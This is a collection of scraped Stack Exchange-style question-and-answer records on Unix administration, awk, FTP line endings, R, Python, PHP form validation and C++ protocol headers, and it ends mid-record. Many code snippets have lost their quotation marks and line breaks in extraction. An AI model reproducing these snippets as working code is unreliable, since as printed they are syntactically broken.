way I can work out which partitions are assigned to the mappings and the size of the partitions?" , "title": "How do I find out a server's drive mappings for raw devices?" , "tags": "rhel;partition" } { "id": "_unix.181879" , "question": "I am using kubuntu 14.04. I have installed cron using sudo apt-get install cron, and then I created this file in IDLE, called openurl.py.#!/usr/bin/env pythonimport webbrowserwebbrowser.open('http://eample.com')I then typed chmod +x openurl.py into the terminal to make the .py file excecutionable. If I type in./openurl.py to the terminal, the script works.then, using the kickoff application launcher I clicked system settings > task scheduler > new task > then I searched for the openurl.py file, and selected when I wanted it to run.If I type crontab -e into the terminal, this is displayed:#openurl21 21 * * * /home/craig/openurl.py# File generated by KCron the Thursday 29 Jan 2015 21:20.And then I wait, and nothing happens. What am I doing wrong?" , "title": "How to automaticly open a URL at specific times each day" , "tags": "cron;kubuntu" } { "id": "_unix.381862" , "question": "I downloaded the deb packages; put them, without extracting them, into a USB drive* and, when asked, I told the installer to search them in that drive.Now, on my freshly installed system, the files the installer told me that were missing are in /lib/firmware, but dpkg -s says the packages are not installed. Is it ok?*I did so because the guide says: If the firmware was loaded from a firmware package, debian-installer will also install this package for the installed system and will automatically add the non-free section of the package archive in APT's sources.list. This has the advantage that the firmware should be updated automatically if a new version becomes available. It's not clear whether the package should be uncompressed, I decided to leave it as it was.The firmware packages in question are firmware-brcm80211 and firmware-realtek. The missing firmware files are brcm/bcm43xx-0.fw and rtl_nic/rtl8168d-2.fw." , "title": "Check if non-free firmware has been installed correctly" , "tags": "debian;debian installer;firmware" } { "id": "_unix.181270" , "question": "Using VMWare and CentOS-7.0-1406-x86_64-DVD installer. I would like to install CentOS on this virtual machine. I did that successfully few weeks ago. but now, Anaconda screen disappeared so fast before I even click anything, and took me to user settings screen as below:How can I get back to anaconda?" , "title": "/installation of CentOS 7 - Anaconda Disappeared" , "tags": "centos;system installation" } { "id": "_unix.150249" , "question": "I want to convert following string (20140805234656) into date time stamp (2014-08-05 23:46:56).I am new to gawk and I don't know the exact syntax,how can I put - at every 5,8 and : at every 14,17 and put at 11 index. Is there any efficient way to achieve this in awk?EDITPlease note that I have string as variable in awk.I generated it during some processing of records." , "title": "Convert string into date time stamp in gawk or awk" , "tags": "awk;gawk" , "accepted_answer": "One way of doing it using GNU awk is this:echo 20140805234656 | awk 'BEGIN { FIELDWIDTHS = 4 2 2 2 2 2 } { printf %s-%s-%s %s:%s:%s\\n, $1, $2, $3, $4, $5, $6 }'" } { "id": "_unix.204293" , "question": "After I type # shutdown -h now from terminal, I can't access to the ssh remote server. (ssh root@10.101.6.240)How should I open back the ssh server?" , "title": "open ssh server back" , "tags": "ssh;shutdown" } { "id": "_unix.117878" , "question": "Using the less paginator, you can use the -r option to properly display colored input and the -S option to disable line wrap.However, when using less -rS or equivalently less -r -S, colors are diplayed but lines are wrapped. How can this be achieved?" , "title": "show colors and disable line wrap" , "tags": "less" , "accepted_answer": "If the -r option doesn't work, maybe the -R option will do what you want:-R or --RAW-CONTROL-CHARSLike -r, but only ANSI color escape sequences are output in raw form. Unlike -r, the screen appearance is maintained correctly in most cases. ANSI color escape sequences are sequences of the form:ESC [ ... mwhere the ... is zero or more color specification characters For the purpose of keeping track of screen appearance, ANSI color escape sequences are assumed to not move the cursor. You can make less think that characters other than m can end ANSI color escape sequences by setting the environment variable LESSANSIENDCHARS to the list of characters which can end a color escape sequence. And you can make less think that characters other than the standard ones may appear between the ESC and the m by setting the environment variable LESSANSIMIDCHARS to the list of characters which can appear." } { "id": "_codereview.25165" , "question": "I have the following CRC 16 code. Is it possible to improve the performance of the code with unsafe constructs? My knowledge about pointer arithmetic is rather limited.public enum Crc16Mode : ushort { Standard = 0xA001, CcittKermit = 0x8408 }public class Crc16Ccitt{ static ushort[] table = new ushort[256]; public ushort ComputeChecksum(params byte[] bytes) { ushort crc = 0; for (int i = 0; i < bytes.Length; ++i) { byte index = (byte)(crc ^ bytes[i]); crc = (ushort)((crc >> 8) ^ table[index]); } return crc; } public Crc16Ccitt(Crc16Mode mode) { ushort polynomial = (ushort)mode; ushort value; ushort temp; for (ushort i = 0; i < table.Length; ++i) { value = 0; temp = i; for (byte j = 0; j < 8; ++j) { if (((value ^ temp) & 0x0001) != 0) { value = (ushort)((value >> 1) ^ polynomial); } else { value >>= 1; } temp >>= 1; } table[i] = value; } }}" , "title": "CRC 16 code with unsafe features" , "tags": "c#;performance" } { "id": "_unix.320515" , "question": "My computer froze because of RAM exhaustion. I performed hard reset. When I launched Chromium, I was getting Aw, Snap! error on every page. So I deleted the folder .config/chromium/ and ran apt-get purge chromium and then rebooted and installed again. Unfortunately nothing changed. What should I do now?" , "title": "Chromium on Debian Wheezy Aw, Snap! error" , "tags": "linux;debian;chrome" } { "id": "_scicomp.26230" , "question": "The question is exactly as the title: Which 2D (triangular) mesh generator software can be used which has a set of geometric primitives, controlled mesh size and standard output (.vtk or something similar)?For testing my code I need a triangular mesh for a circle and I am looking for the easiest way to do that. E.g., in 3D case for a sphere I am happy to use NETGEN with several lines of code to get meshes with controlled mesh size and standard output format.Can anyone give me a recommendation?Thanks!" , "title": "2D mesh generator with geometric primitives" , "tags": "software;mesh generation;unstructured mesh" , "accepted_answer": "Shewchuk's triangle mesh generator produces high quality meshes and is quiterobust. However, the boundary definition is a series of straight lines. So toproduce a sequence of refined meshes over a circle you would also have to refinethe definition of the boundary for each mesh.Another option is Persson's distmesh triangle mesher,As shown on this page, only two lines of MATLAB (or Octave) code are requiredto mesh a circlefd=@(p) sqrt(sum(p.^2,2))-1;[p,t]=distmesh2d(fd,@huniform,0.2,[-1,-1;1,1],[]);And the mesh can be refined by changing a single mesh density parameterwith no changes to the geometry definition.You can conveniently use MATLAB to write the coordinate matrix, p, and theconnectivity matrix, t, in whatever format you choose. And, as I've verified,it also runs in Octave if you don't have access to MATLAB." } { "id": "_softwareengineering.337863" , "question": "I was reading the Go-lang documents and found under the section of Types that Go has no type hierarchy.What does that mean exactly? Is it like python that types are been checked at run time (dynamically typed) rather than 'compile time' (statically typed)?" , "title": "What does a type system [that] has no hierarchy mean?" , "tags": "dynamic typing;go;static typing" } { "id": "_webmaster.104639" , "question": "I'm developing a web application which downloads a number of web pages using PHP curl. It then uses diff to compare the files as they change each day.I reported a problem a few weeks back where seemingly identical files were being flagged by diff as being different: https://stackoverflow.com/questions/42552239/different-versions-of-diff-giving-mixed-results-when-comparing-2-identical-filThe answer to the above was that if diff was used with the -w flag it ignores whitespace.However, I've now noticed a separate problem. If I download one of the files I'm comparing, and re-upload (overwrite) it through an FTP client, the output changes.For example: Compare file1.html against file2.html with diff file1.html file2.html it may give output such as12159,12161c12159,12161< < < ---> > > 12163,12172c12163,12172< < < < < < < < < < ---However, if I download file2.html to my desktop and re-upload it through FTP, diff without the -w flag reports there being no differences at all i.e. it's now saying the files are identical.I've tried to check the encoding of the file using file -bi file2.html but it's reported the same before and after upload through FTP. The encoding is text/html; charset=us-asciiIf the encoding is no different and the file contents have not been modified, how is re-uploading the file through FTP changing anything?? I've tried it using FileZilla and also through Netbeans.I'm using macOS Sierra locally and the remote server is Apache 2/PHP 7/centOS." , "title": "Can file encoding change when FTP is used?" , "tags": "linux;ftp;content encoding" , "accepted_answer": "You are probably seeing a difference in line-endings. When transferring a file in ASCII/Text mode (as opposed to Binary mode) then most FTP clients will convert/normalise line-endings to the OS being transferred to.On Classic Mac OS (9.x and earlier) the line-ending char is simply \\r (ASCII 13), on Mac OS X this changed to \\n (ASCII 10), on Linux it is \\n (ASCII 10). And Windows is \\r\\n or ASCII 13+10. (Thanks @8bittree for the Mac correction.)So, when downloading from one OS to another all line-endings are silently converted. The conversion is reversed when uploaded. (However, as noted in @Joshua's answer this can result in corruption, depending on the file's character encoding and specific characters contained in the file.) If there is a mishmash of line-endings then it's possible the FTP software is normalising/fixing the line-endings. This would explain why downloading and then uploading the file results in a different file to what was originally on the server (ie. it is fixed). Or it is reverting a previously miss-converted file? However, the EOL-conversion may not be so intelligent and you can just end up with either double spaced lines or missing line breaks altogether (ie. mildly corrupted).By default, most FTP clients are set to Auto transfer mode and have a list of known file types to transfer in ASCII/Text mode. Other file types are transferred in Binary mode. If you are transferring between the same OS, or you wish to transfer with no conversion, then you should use Binary mode only.Ordinarily, the FTP software will not change the character encoding of the transferred file unless the source/target operating systems use a very different character encoding with which to represent text files. As @KeithDavies noted in comments, one such example is when downloading from a mainframe, that uses EBCDIC, to a local Windows machine. EBCDIC is not supported natively by Windows, so a conversion is required to convert this to ASCII. Again, transferring in Binary mode avoids any such conversion. (Thanks to @KeithDavies for the note regarding character encoding.)The answer to the above was that if diff was used with the -w flag it ignores whitespace.Yes, line-endings (whitespace) are ignored in the comparison.If I download one of the files I'm comparing, and re-upload (overwrite) it through an FTP client, the output changes.If there was a mixture of line-endings in the original file then downloading and re-uploading in ASCII mode could well fix the inconsistent line-endings. So, the files are now the same." } { "id": "_unix.98092" , "question": "I would like to do something like the following$ tmp=name*$ mv $tmp new_$tmp$ ls new_*$ new_name-with-stuff-i-dont-want-to-type name-with-stuff-i-dont-want-to-typeSetting the environment variable seems to work$ $tmp$ name-with-stuff-i-dont-want-to-typeBut not when I do the mv$ mv $tmp new_$tmp$ ls new_*$ new_name*Question: Is there a clever easy way of doing this to save some typing?" , "title": "Adding prefixes/suffixes to file names without typing it all over again?" , "tags": "bash;environment variables;rename" , "accepted_answer": "I always love bash expansion for this:lsname-with-stuff-i-dont-want-to-typemv name-with-stuff-i-dont-want-to-type{,_old}lsname-with-stuff-i-dont-want-to-type_oldThis is equivalent to:mv name-with-stuff-i-dont-want-to-type name-with-stuff-i-dont-want-to-type_oldFor prefixing:lsname-with-stuff-i-dont-want-to-typemv {,new_}name-with-stuff-i-dont-want-to-typelsnew_name-with-stuff-i-dont-want-to-typeFor easy file renaming:lsfileFOOnamemv file{FOO,BAR}namelsfileBARname" } { "id": "_codereview.13780" , "question": "I need to do pending methods invocation in Java (Android) in my game project. A method represents actions in a scene.Maybe you're familiar with Context.startActivity in Android, which is not suddenly starting the activity, but statements below it is still executed before starting the requested activity. I've found 3 ways, but I'm not sure which one should I choose by considering the performance and PermGen issues (actually I don't know whether Android has PermGen issue if there are so many classes). These methods will not be called very frequent, may be once in 5 seconds, but may be they will be very many (there are so many scenes).Please suggest the best way of doing this, by considering memory usage (maybe PermGen too), performance, ease of coding, and bug freedom.Using switch-caseI need to add each method call in switch-case.public class MethodContainer { public void invoke(int index) { switch (index) { case 0: method0(); break; . . . case 100: method100(); break; } } private void method0() { ... } . . . private void method100() { ... }}Using for-loop and annotation/reflectionLike the above, but make coding easier (except in defining constants).public class MethodContainer { private static final int METHOD_0 = 0; ... private static final int METHOD_100 = 100; public void invoke(int index) { for (Method m : MethodContainer.class.getMethods()) { MyAnnotation annotation = m.getAnnotation(MyAnnotation.class); if (annotation != null && annotation.value() == index) { try { m.invoke(this); break; } catch (...) { ... } } } } @MyAnnotation(METHOD_0) private void method0() { ... } . . . @MyAnnotation(METHOD_100) private void method100() { ... }}Using inner classesThere's no need to declare constants and no reflection, but too many classes.public class MethodContainer { public void invoke(Runnable method) { method.run(); } private Runnable method0 = new Runnable() { public void run() { ... } }; . . . private Runnable method100 = new Runnable() { public void run() { ... } };}" , "title": "Pending method invocation for a game" , "tags": "java;android" , "accepted_answer": "Your first example (switch-case) is so poorly thought of in the Object Oriented community that there is a refactoring designed specifically to replace it with your third implementation: Replace Conditional With Polymorphism.To be honest, I would have never thought of your second implementation. It isn't completely heinous, though I would probably use the constructor to create an array of method objects that you can index into directly - rather than run through a for loop every time you want to make a call.Between a revised second implementation (array with annotation/reflection) and the third implementation (inner classes) I would personally be more fond of the inner class version. I don't think that memory or performance is going to be a factor at this level and I think the third, inner class, version is much more readable (at least in Java - in other languages, you could implement something like the second approach directly)." } { "id": "_codereview.136658" , "question": "I have a dataset with 16 million rows and may increase upwards of 30 million. I am using the parLapply to run across three cores in R. But it's taking two days to run to completion. When I try smaller datasets of about 60,000 it takes less than 5 minutes to run, what may be cause of this disparity.Desktop Specs : Corei5 -QuadCore , 4GB RAM FG DataSet (16 million rows)Id,R,T1,12,439632,12,502733,12,40805 4,13,502735,13,408056,14,40805AB (1.3 million rows)Id,R,1,12 2,133,14 4,15Locations (6600 rows)T,NEWLong,NEWLat,SITENAME,43963,-77.108995,17.942062,HARBOUR TOWN50273,-77.108995,17.942062,NEW MEADOWS40805,-77.108995,17.942062,ISLE AVENUECodenum_cores = detectCores() -1cl = makeCluster(num_cores)clusterExport(cl,varlist = c(FG,AB,sites,distancematrix) ,envir=environment())results = parLapply(cl,1:nrow(AB),function(i){ row = AB[i,2] filtered = subset(FG,FG$R == AB[i,2]) sites = merge(filtered , locations , by.x = T , by.y = T , all.x = FALSE) resultdf =unique(data.frame(sites$NAME,sites$NEWLong,sites$NEWLat)) if ((nrow(resultdf))==0) { VAL = data.frame(AN = AB[i,2] ,SCORE = 0 ,SITES = 0,DISTANCE = 0) } else if ((nrow(resultdf) > 0) & (nrow(resultdf) < 4)) { alldistance = round(distanceMatrix(resultdf)) VAL2 = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES = nrow(resultdf),DISTANCE=sum(alldistance)) } else if ((nrow(resultdf) >= 4) & (nrow(resultdf) <= 10 )) { alldistance = round(distanceMatrix(resultdf)) if (sum(alldistance) == 0) { VAL = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES = nrow(resultdf),DISTANCE=sum(alldistance)) } else { value = nrow(resultdf)-1 require(fpc) clustervaluePAMK = pamk(alldistance,krange = 1:value, criterion = asw ,critout = TRUE , usepam=FALSE, ns = 2) clustervaluePAMK = clustervaluePAMK$nc VAL2 = data.frame(AN = AB[i,2] ,SCORE= clustervaluePAMK ,SITES = nrow(resultdf),DISTANCE=sum(alldistance)) }}else { alldistance = round(distanceMatrix(resultdf)) if (sum(alldistance) == 0) { VAL = data.frame(AN = AB[i,2] ,SCORE= 1 ,SITES = nrow(resultdf),DISTANCE=sum(alldistance)) } else { require(fpc) clustervaluePAMK = pamk(alldistance,krange = 1:10, criterion = asw ,critout = TRUE , usepam=FALSE, ns = 2) clustervaluePAMK = clustervaluePAMK$nc VAL = data.frame(AN = AB[i,2] ,SCORE= clustervaluePAMK ,SITES = nrow(resultdf),DISTANCE=sum(alldistance)) }}}){FGL <- merge(FG, locations) }) and object.size(FGL) user system elapsed 393.70 10.24 993.51 656225664 bytesCode Profile--For this section I ran against 60,000 elements.$by.self self.time self.pct total.time total.pctunserialize 174.70 99.99 174.70 99.99as.character 0.02 0.01 0.02 0.01$by.total total.time total.pct self.time self.pctclusterApply 174.72 100.00 0.00 0.00do.call 174.72 100.00 0.00 0.00lapply 174.72 100.00 0.00 0.00parLapply 174.72 100.00 0.00 0.00staticClusterApply 174.72 100.00 0.00 0.00unserialize 174.70 99.99 174.70 99.99FUN 174.70 99.99 0.00 0.00recvData 174.70 99.99 0.00 0.00recvData.SOCKnode 174.70 99.99 0.00 0.00as.character 0.02 0.01 0.02 0.01cut 0.02 0.01 0.00 0.00cut.default 0.02 0.01 0.00 0.00factor 0.02 0.01 0.00 0.00split 0.02 0.01 0.00 0.00split.default 0.02 0.01 0.00 0.00splitIndices 0.02 0.01 0.00 0.00splitList 0.02 0.01 0.00 0.00structure 0.02 0.01 0.00 0.00$sample.interval[1] 0.02$sampling.time[1] 174.72" , "title": "Clustering 16 million records in parallel" , "tags": "time limit exceeded;r;clustering;machine learning;geospatial" , "accepted_answer": "Hard to tell without sample data, but lets start with a cleaned upversion as there's soo much duplicated code here and the formatting isinconsistent.The require should probably go to the top?AB[i, 2], nrow(resultdf) are run more than once and that's notgood.Some expressions are the same in multiple branches and can be merged,e.g. alldistance = ... and sum(alldistance).AFAIK parLapply just uses the return value of the function, so theassignments to VAR and VAR2 are super confusing.All refactored that looks like this now, which almost fits into a singlescreen now:require(fpc)cl = makeCluster(detectCores() - 1)clusterExport(cl, varlist = c(FG, AB, sites, distancematrix), envir = environment())results = parLapply(cl, 1:nrow(AB), function(i) { row = AB[i, 2] filtered = subset(FG, FG$R == row) sites = merge(filtered, locations, by.x = T, by.y = T, all.x = FALSE) resultdf = unique(data.frame(sites$NAME, sites$NEWLong, sites$NEWLat)) n = nrow(resultdf) if (n == 0) { data.frame(AN = row, SCORE = 0, SITES = 0, DISTANCE = 0) } else { alldistance = round(distanceMatrix(resultdf)) s = sum(alldistance) if (n < 4 || s == 0) { score = 1 } else { score = pamk(alldistance, krange = 1:min(n - 1, 10), criterion = asw, critout = TRUE, usepam = FALSE, ns = 2)$nc } data.frame(AN = row, SCORE = score, SITES = n, DISTANCE = s) }})" } { "id": "_softwareengineering.290023" , "question": "I'm trying develop an add-in for an application using it's API and I have Option Strict turned on. Trying to work with these COM objects is causing multiple compile issues saying Option Strict On disallows implicit conversions from 'typeA' to 'typeB'.I'm currently overcoming the issue by using DirectCast, which means I have to define the type in multiple places, which makes future code maintenance kind of sucky.A simple example is: Dim templateMgr As IEdmTemplateMgr5 = TheVault.CreateUtility(EdmUtility.EdmUtil_TemplateMgr)The CreateUtility method returns an object which implements the interface specified by the argument (argument is an EdmUtility Enum value). The return is specified at compile time as System.Object so must be cast to the right type in order to use it. With option strict on I cannot do this implicitly, so I have been using DirectCast thusly:Dim templateMgr As IEdmTemplateMgr5 = DirectCast(TheVault.CreateUtility(EdmUtility.EdmUtil_TemplateMgr), IEdmTemplateMgr5)There are many, many, many (that many!) COM members that use generic members that make the compiler very unhappy with Option Strict turned on. I don't particularly like using DirectCast() because it means declaring the type in multiple places scattered all throughout the code. Is this a case where it's better to just turn off Option Strict??I feel like there has to be a better way!EDIT 1My compile options are: Option Explicit = ON Option Strict = ON Option Infer = ON Option Compare = Text Target CPU = AnyCPUEDIT 2Here is another example that isn't just creating a new object instance. In this example I am using a loop to get information on all the objects in an array that returned by another function. The return from Data.Get is always type System.Object which again causes teh compiler to complain that implicit conversion from type 'Object' to type 'String' is not allowed with Option Strict on.Dim DataReturn As System.ArrayDim refreshFlag As LongTry refreshFlag = TheTemplate.RunEx(TheCommand.mlParentWnd, TheVault.RootFolderID, DataReturn) If Not DataReturn.IsAllocated Then Throw New Exception(Nothing was created by the template.) 'Refresh the folder view if required If refreshFlag = EdmRefreshFlag.EdmRefresh_FileList Then TheVault.RefreshFolder(TheVault.RootFolderPath) 'Return the path(s) of the newly created file(s) Dim path As String = String.Empty For Each data As EdmData In DataReturn Select Case data.Type Case EdmDataType.EdmData_File path = DirectCast(data.Get(EdmDataPropertyType.EdmProp_Path), System.String) If path.Length > 0 Then CreatedFilesPaths.Add(path) path = String.Empty End Select Next" , "title": "When to turn off Option Strict? Or how to deal with inheritance of COM using Option Strict?" , "tags": "vb.net;com" , "accepted_answer": "Dealing with COM onjects is almost the canonical reason for setting Option Strict to off, or using the C# equivalent dynamic.Late binding means that you loose the help of the compiler in getting things right, if you are fighting the compiler more than it is helping you, it is quite reasonable to just say I know what I am doing.I would recommend isolating these functions into a seperate file, and leave option strict on for everything else. " } { "id": "_softwareengineering.122173" , "question": "I was looking for a pattern/solution that allows me call a method as a runtime exception in a group of different methods without using Reflection. I've recently become aware of the Abstract Factory Pattern.To me, it looks so much like polymorphism, and I thought it could be a case of polymorphism but without the super class GUIFactory, as you can see in the example of the link above. Am I correct in this assumption?" , "title": "Can the Abstract Factory pattern be considered as a case of polymorphism?" , "tags": "object oriented;design patterns;polymorphism" , "accepted_answer": "I guess it depends on how it is used.Essentially the Factory pattern is a reference to a set of objects. Normally combined with something else, possibly like the Strategy pattern (which is more likely to be defined as a type of polymorphism) to provide reference to an object to act on.The Abstract Factory Pattern by itself is intended to be polymorphic as it is defined as an abstract class type. However the concrete implementation of the factory is the WidgetFactory in your type and is only polymorphic in reference to using a factory and providing an implementation of a factory.In terms of what you are after, you certainly require a concrete factory, and presumably the actions you perform depend on the exception being caught. To that end you would use your factory implementation in a non-polymorphic way simply by passing it the exception caught, and have the factory pattern return a method to invoke a strategy or even a chain-of-command pattern to deal with how you would like to handle the exception.Therefore, your factory would not necessarily be polymorphic, and your exception handlers would be polymorphic." } { "id": "_softwareengineering.238755" , "question": "Recently I started same projects to improve my programming skills, so I tried to develop a point of sale software. I started to bay the required hardware (ticket printer, Barcode Scanner.) to make my personal lab, but Im unable to find how to implement the payment process using an ATM terminal. Is there any possibility to simulate the payment process whiteout having the equipment?" , "title": "How to simulate an ATM terminal in a POS" , "tags": "simulation" , "accepted_answer": "An 'ATM terminal' is often a magnetic stripe reader (MSR).There are several different approaches for this:Keyboard 'wedge' or USB. It hooks into the USB system and acts as another keyboard. Magtek makes some (admittedly, this is a higher end brand).Integrated keyboard mag stripe reader are actually part of a keyboard as can be seen with this Cherry Keyboard.NFC devices.Dedicated card readers with displays (such as those by VeriFone and Ingenico)As some of these just act as keyboards themselves, yes, you can simulate it by typing the data in from a keyboard. Otherwise, if you want to support things such as cherry keyboards and VeriFone 870 you will probably need to get one. Especially consider that these devices are often dedicated computers of their own, with their own programming languages and operating systems (in the case of the 870 I linked, its an embedded linux system).There are libraries that try to abstract away the 'card reader' (and then you can go about making something that works with JavaPOS or the like, but from experience, these can be very frustrating to work with as they often target the lowest common denominator of devices (and that can be very low)." } { "id": "_webapps.29922" , "question": "Say I get a New Message notification (the red box over the Messages icon). I then click on the Messages icon, so I am viewing the preview of all of my recent conversations. The red notification icon goes away.Even if I didn't open the conversation itself to view the full text, does the message get marked as read?" , "title": "Does previewing a Facebook message mark it as Seen?" , "tags": "facebook;chat" , "accepted_answer": "If you see text 1/2/3 in a small red cloud in the Envelope icon(Notification) in the top-blue bar & you click that, and preview the message, Message will NOT be marked as read. To simplify, Until you actually Go to Messages, click that Specific Message and see it in FULL, no message will be marked as Read. Unread messages always have a faint blue background, whereas read messages have pure white.Any message can be marked as Unread again, from the screen where you read it.TL:DR; No, it will not be marked as read. :)" } { "id": "_codereview.42741" , "question": "I was wondering if there is a smarter way of doing the following code. Basically what is does is that it opens a data file with a lot of rows and columns. The columns are then sorted so each column is a vector with all the data inside.3.2.2 - Declare variableslineData = list()for line in File: splittedLine = line.split() # split lineData.append(splittedLine) #collect And here the fun begins3.2.3 - define desired variables from filecol1 = ElemNocol2 = Node1col3 = Node2col4 = Lengthcol5 = Areacol6 = Inertiacol7 = Fnode1col8 = Fnode2col9 = SigmaMincol10 = SigmaMax3.2.3 - make each variable as a list/vectorvar ={col1:[], col2:[], col3:[], col4:[], col5:[], col6:[], col7:[], col8:[] ,col9:[],col10:[]} 3.2.3 - take the values from each row in lineData and collect them into the correct variablefor row in lineData: var[col1] .append(float(row[0]) ) #[-] ElemNo var[col2] .append(float(row[1]) ) #[-] Node1 var[col3] .append(float(row[2]) ) #[-] Node2 var[col4] .append(float(row[3]) ) #[mm] Length var[col5] .append(float(row[4]) ) #[mm^2] Area var[col6] .append(float(row[5])*10**6) #[mm^4] Inertia var[col7] .append(float(row[6]) ) #[N] Fnode1 var[col8] .append(float(row[7]) ) #[N] Fnode2 var[col9] .append(float(row[8]) ) #[MPa] SigmaMin var[col10].append(float(row[9]) ) #[MPa] SigmaMaxAs you see this is a rather annoying way of making each row into a variable. Any suggestions?" , "title": "Row/Column Transpose" , "tags": "python;matrix" , "accepted_answer": "First of all don't create variables for those keys, store them in a list.keys = [ElemNo, Node1, Node2, Length, Area, Inertia, Fnode1, Fnode2, SigmaMin, SigmaMax]You can use collections.defaultdict here, so no need to initialize the dictionary with those keys and empty list. from collections import defaultdictvar = defaultdict(list)Now, instead of storing the data in a list, you can populate the dictionary during iteration over File itself.for line in File: for i, (k, v) in enumerate(zip(keys, line.split())): if i == 5: var[k].append(float(v)*10**6) else: var[k].append(float(v)) " } { "id": "_cs.25931" , "question": "Can this problem be solved in poly time?Input: $S_i \\subset \\{1,\\cdots,n\\}$ for $i=1,\\cdots, n$.Question: Is it possible to select an $a_i \\in S_i$ for each $i=1,\\cdots,n$, such that $\\{a_1,\\cdots,a_n\\}=\\{1,\\cdots,n\\}$?Informally, the problem asks for selecting one element from each subset $S_i$ such that the selected elements cover the set $\\{1, \\cdots, n\\}$." , "title": "A variant of the set cover problem: Is that a known problem?" , "tags": "algorithms;complexity theory;decision problem;polynomial time" , "accepted_answer": "Hint: Form a bipartite graph which has the sets $S_1,\\ldots,S_n$ on one side and the numbers $1,\\ldots,n$ on the other. Connect $S_i$ to $a$ if $S_i$ contains $a$. You are looking for a perfect matching in this graph." } { "id": "_cs.22558" , "question": "For a proof I need to use the fact that every word in the language of an enumerator occur on the output paper in finite time. Is it true?For example, the language of the natural numbers in decimal representation. Can the enumerator print the odd numbers first and then the even numbers? (if yes, I am wrong)$1, 3, 5, 7, ..., 2, 4, 6 ,8, ...$As I know, we get to the even numbers but not in finite time (maybe transfinite induction based on this)" , "title": "Does an enumerator print the first occurrence of a word in finite time?" , "tags": "turing machines" , "accepted_answer": "Your interpretation is correct, and the easiest way to look at it is to know both definitions of recursively enumerable sets:There is an algorithm (potentially running forever) that enumerates the members of $S$.There is an algorithm for which the algorithm halts only on elements of $S$.These two definitions are equivalent, and if you use the second one then you can easily answer your own question.However, do note an important caveat. Although for any given word $w \\in S$ there is some time $T_w$ such that after $T_w$ steps, $w$ will have been enumerated. However, there is no way to bound $T_w$ from above as a function of $w$. It can grow faster than any computable function. " } { "id": "_codereview.42411" , "question": "A day ago I have asked a question on here about Preventing email injection. I had some feedback and worked on it, and below is the latest update.Could anyone please share their opinion? Is it secure enough? Is there a way to short-cut the code? Invalid Email Address!; break; case !preg_match($spam_pattern, $name): case !preg_match($spam_pattern, $number): case !preg_match($spam_pattern, $date): case !preg_match($spam_pattern, $select): case !preg_match($spam_pattern, $radio): case !preg_match($spam_pattern, $checkbox): case !preg_match($spam_pattern, $message): $response = Invalid Request!; break; default: $to = ; $subject = New Message From: $name; $message = Name: $name
number: $number
date: $date
select: $select
radio: $radio
checkbox: $checkbox
Email: $email
Message: $message; $headers = 'MIME-Version: 1.0' . \\r\\n; $headers .= 'Content-type: text/html; charset=utf-8' . \\r\\n; $headers .= 'From: '.$email . \\r\\n; if(mail($to, $subject, $message, $headers)){ $response =

Success! Your submission has been sent.

; }else{ $response =

Error! There was a problem with sending.

; } break; } } } else { $response = Error; } ob_flush(); }?>" , "title": "Preventing email injection - Part 2" , "tags": "php;security;email" } { "id": "_unix.111545" , "question": "I am using the bash script to connect to the mysql database and execute a query. I use the below script to connect to the database and execute the query. #!/bin/bashTotal_Results=$(mysql -h server-name -P 3306 -u username-ppassword -D dbname<<
I want to be able to do the following:Have anywhere from 1 to four inputs on each row.Have the label above the formModify the form layout with CSS when the resolution changes (media query)Questions:Is it a sensible approach to use this code structure in order toachieve this?Is taking Bootstraps form structure a logical approach to this problem?" , "title": "HTML and CSS markup for flexible form layout" , "tags": "html;css;form;layout" , "accepted_answer": "Your code looks perfectly fine. In fact, it all validates by the validators at W3C perfectly fine, with one exception - your HTML file should be structured like this: Your Page Title Here The validators can be found here:HTML validatorCSS validatorYour code seems perfectly fine the way it is, and I would say the only thing wrong with it is from the user's perspective. You have the Category menu overlapping the Title menu, which is not good; you should adjust your columns to prevent this." } { "id": "_codereview.136105" , "question": "I'm starting with implementing a TCP/IP stack for embedded systems which will be done in C++ and I've found I need a good way to work with protocol headers involved (e.g. ARP, IP, TCP). Major requirements are:Portable, C++(11) standard compliant (e.g. no structure packing, independent of CPU endianness).Completely correct (e.g. no potential strict-aliasing violations).Minimal boilerplate for both definition of headers and access.Ability to read and write fields of headers in arbitrary memory locations (no need to work on a copy of data).Efficient (e.g. no runtime metainformation about headers).I've produced a solution which relies heavily on template metaprogramming. The code is below, it's quite some number of lines, though much of it is comments. The full code along with required headers can be found in my open-source project here. Below is also some example code which demonstrates how it can be used.I'd like to get some feedback about how to make it better, in any respect. For example to make usage less verbose; currently, it still needs a bit more typing than pointer->field. Or any ideas about the interactions between the Val, Ref and ConstRef classes.Code:/** * This class is specialized for different field types * to define type-specific behavior, e.g. how to * encode a logical value into bytes and how to decode * bytes into a value. */template struct StructTypeHandler;#define APRINTER_STRUCT_REGISTER_TYPE(Type, TypeHandler) \\template <> \\struct StructTypeHandler { \\ using Handler = TypeHandler; \\};template struct StructField { using Type = TType;};/** * Base class for protocol structure definitions. * * Notable features of the system are: * - Automatic endianness handling (big endian encoding is used). * That is, the user always interacts with logical values while * the framework manages the byte-level representaion. * - Can reference structures in existing memory (no need for pointer * casts violatign strict aliasing). * - Support for nested structures. * - Ability to define custom field types. * * Structures should be defined through the APRINTER_TSTRUCT macro which * results in a struct type inheriting StructBase. Example: * * \\code * APRINTER_TSTRUCT(MyHeader, * (FieldA, uint32_t) * (FieldB, uint64_t) * ) * \\endcode * * Each field specified will result in a type within this structure that * is used as an identifier for the field (e.g. MyHeader::FieldA). * * There will be three classes within the main structure providing * different ways to work with structure data: * - Val: contains structure data as char[]. * - Ref: references structure data using char *. * - ConstRef: references structure data using char const *. * * Note that the structure type itself (MyHeader) has no runtime use, it * is a zero-sized structure. * * Note, internally APRINTER_TSTRUCT will expand to something like this: * * struct MyHeader : public StructBase\\ { * struct FieldA : public StructField\\; * struct FieldB : public StructField\\; * using StructFields = MakeTypeList\\; * }; */template class StructBase {private: using StructType = TStructType; template using Fields = typename This::StructType::StructFields; template struct FieldInfo; template struct FieldInfo<-1, Dummy> { static size_t const StructSize = 0; }; template struct FieldInfo { using PrevFieldInfo = FieldInfo; using Field = TypeListGet, FieldIndex>; using Handler = typename StructTypeHandler::Handler; using ValType = typename Handler::ValType; static size_t const FieldOffset = PrevFieldInfo::StructSize; static size_t const FieldSize = Handler::FieldSize; static size_t const StructSize = FieldOffset + FieldSize; }; template using GetFieldInfo = FieldInfo, Field>::Value, void>; template using LastFieldInfo = FieldInfo>::Value-1, void>;public: class Ref; class ConstRef; class Val; /** * Gets the value type of a specific 